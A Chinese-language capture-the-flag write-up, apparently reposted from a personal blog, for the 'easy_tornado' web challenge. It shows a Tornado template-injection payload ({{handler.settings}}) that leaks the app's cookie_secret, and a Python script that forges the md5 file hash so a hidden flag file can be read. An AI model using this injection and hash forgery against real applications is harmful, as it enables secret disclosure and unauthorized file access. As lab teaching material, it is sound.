(wp)護網杯—easy_tornado

轉自個人博客0pt1mus

首先我們打開網頁,發現三個鏈接。

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-mz52NAYV-1585041447461)(/Users/optimus/Library/Application Support/typora-user-images/image-20200324165348081.png)]

點擊第一個flag.txt,打開提示我們:

我們觀察url:

http://947550d2-7b15-4f02-9d52-3deb2ec447a9.node3.buuoj.cn/file?filename=/flag.txt&filehash=77e8b02dac1f3d976567bc691476bfcc

發現通過get傳遞兩個參數,一個filename,一個filehash。因此我們可以構造url,訪問flag的位置。

http://947550d2-7b15-4f02-9d52-3deb2ec447a9.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=77e8b02dac1f3d976567bc691476bfcc

訪問發現返回Error

因此查看另外兩個文件的信息。

發現render,判斷這是一個web框架的方法,而下面hints.txt的內容則告訴了我們上面url中的filehash是如何生成的。

現在我們不知道cookie_secret是多少,我們無論通過F12,在network中查看,還是抓包分析,都沒有發現cookie_secret的值。

現在render這個信息還沒有用,那麼有沒有可能漏洞是出現在這個函數中吶。

我們通過百度題目名tornado,發現這是一個python的web框架,堅信了問題是在這個框架上面。

百度tornado render漏洞,發現render是通過傳遞的參數來確定返回的內容,而我們的報錯頁面正是通過參數來顯示的,因此我們可以利用它來返回tornado中的一些定義的對象。

http://947550d2-7b15-4f02-9d52-3deb2ec447a9.node3.buuoj.cn/error?msg={{handler.settings}}

返回信息中確定cookie_secret的值爲:

'cookie_secret': 'd27d0275-4f9b-45f6-b948-37f6b05c8d42'

現在我們可以編寫腳本,計算hash值:

# coding=utf-8
from hashlib import md5

cookie_secret = 'd27d0275-4f9b-45f6-b948-37f6b05c8d42'

file_name = '/fllllllllllllag'

file_hash = md5(cookie_secret + md5(file_name).hexdigest())
print(file_hash.hexdigest())

我們可以先將file_name寫爲/file.txt,執行獲得hash值,和原來url中的filehash是否一樣,判斷腳本正確性。

執行腳本得到hash值:

a99916bbf8732bd409c33d161d751c90

構造url:

http://947550d2-7b15-4f02-9d52-3deb2ec447a9.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=a99916bbf8732bd409c33d161d751c90

訪問該url得到flag值。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章